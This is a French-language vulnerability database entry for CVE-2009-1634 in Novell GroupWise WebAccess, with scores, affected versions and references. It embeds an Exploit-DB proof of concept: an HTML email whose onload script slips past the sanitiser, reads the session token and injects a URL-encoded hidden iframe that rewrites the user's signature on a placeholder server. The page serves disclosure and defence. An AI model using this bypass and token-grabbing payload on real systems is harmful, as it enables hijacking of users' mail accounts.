CVE-2009-1634 : Détail

CVE-2009-1634

4.94%V4
Network
2009-05-26
13h16 +00:00
2017-08-16
12h57 +00:00
CVE.org
NVD
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Descriptions du CVE

The WebAccess component in Novell GroupWise 7.x before 7.03 HP3 and 8.x before 8.0 HP2 does not properly implement session management mechanisms, which allows remote attackers to gain access to user accounts via unspecified vectors.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 33007

Date de publication : 2009-05-20 22h00 +00:00
Auteur : Gregory Duchemin
EDB Vérifié : Yes

source: https://www.securityfocus.com/bid/35066/info Novell GroupWise WebAccess is prone to multiple security vulnerabilities. An attacker may leverage these issues to bypass certain security restrictions or conduct cross-site scripting attacks. Note that some of the issues may be related to BID 35061. We will update this BID as more information emerges. Versions prior to WebAccess 7.03 HP3 and 8.0.0 HP2 are vulnerable. Following harmless code uses an onload() event handler to bootstrap its payload as soon as the email is open. The first stage of this script extracts the session token (User.Context) from within the current document&#039;s URI and used to make up the second stage. The second injects an iframe in the current page which in turn calls the signature configuration interface and changes the user&#039;s signature on the fly. This example uses a fake target, &#039;gwwa.victim.com&#039; that must be changed with a real server addresss/name. Here, the security parser won&#039;t recognize "onload = &#039;javascript:..." as potentially unsafe just because of the space characters. <!-- <html> <head> </head> <body onmouseover = &#039;return false;&#039; onload = &#039;javascript:var context=document.location.href;var token=context.replace(/^.+context=([a-z0-9]+).+$/i,"$1"); var malwareS1="%3C%68%74%6D%6C%3E%3C%62%6F%64%79%3E%3C%62%72%2F%3E%3C%62%72%2F%3E%4E%6F%77%20%63%68%65%63%6B%20%79%6F%75%72%20%73%69%67%6E%61%74%75%72%65%20%2E%2E%2E%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%67%77%77%61%2E%76%69%63%74%69%6D%2E%63%6F%6D%2F%67%77%2F%77%65%62%61%63%63%3F%55%73%65%72%2E%63%6F%6E%74%65%78%74%3D"; var malwareS2="%26%61%63%74%69%6F%6E%3D%53%69%67%6E%61%74%75%72%65%2E%4D%6F%64%69%66%79%26%6D%65%72%67%65%3D%73%69%67%6E%61%74%75%72%26%53%69%67%6E%61%74%75%72%65%2E%69%73%45%6E%61%62%6C%65%64%3D%65%6E%61%62%6C%65%64%26%53%69%67%6E%61%74%75%72%65%2E%69%73%41%75%74%6F%6D%61%74%69%63%3D%61%75%74%6F%6D%61%74%69%63%26%53%69%67%6E%61%74%75%72%65%2E%73%69%67%6E%61%74%75%72%65%3D%25%32%30%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%25%30%64%25%30%61%25%30%64%25%30%61%30%77%6E%65%64%2E%22%20%77%69%64%74%68%3D%30%70%78%20%68%65%69%67%68%74%3D%30%70%78%3E%3C%2F%69%66%72%61%6D%65%3E%3C%2F%62%6F%64%79%3E%3C%2F%68%74%6D%6C%3E"; document.write(unescape(malwareS1)+token+unescape(malwareS2));return false;&#039;> <br/> <br/><br/>Now check your signature ... </body> </html> -->

Products Mentioned

Configuraton 0

Novell>>Groupwise >> Version 7.0

Novell>>Groupwise >> Version 7.0.0

    Novell>>Groupwise >> Version 7.0.0

      Novell>>Groupwise >> Version 7.0.2

        Novell>>Groupwise >> Version 7.0.3

        Novell>>Groupwise >> Version 7.03

          Novell>>Groupwise >> Version 7.03

          Novell>>Groupwise >> Version 8.0

          Novell>>Groupwise >> Version 8.0

            Références

            http://www.vupen.com/english/advisories/2009/1393
            Tags : vdb-entry, x_refsource_VUPEN
            http://secunia.com/advisories/35177
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://www.securityfocus.com/bid/35066
            Tags : vdb-entry, x_refsource_BID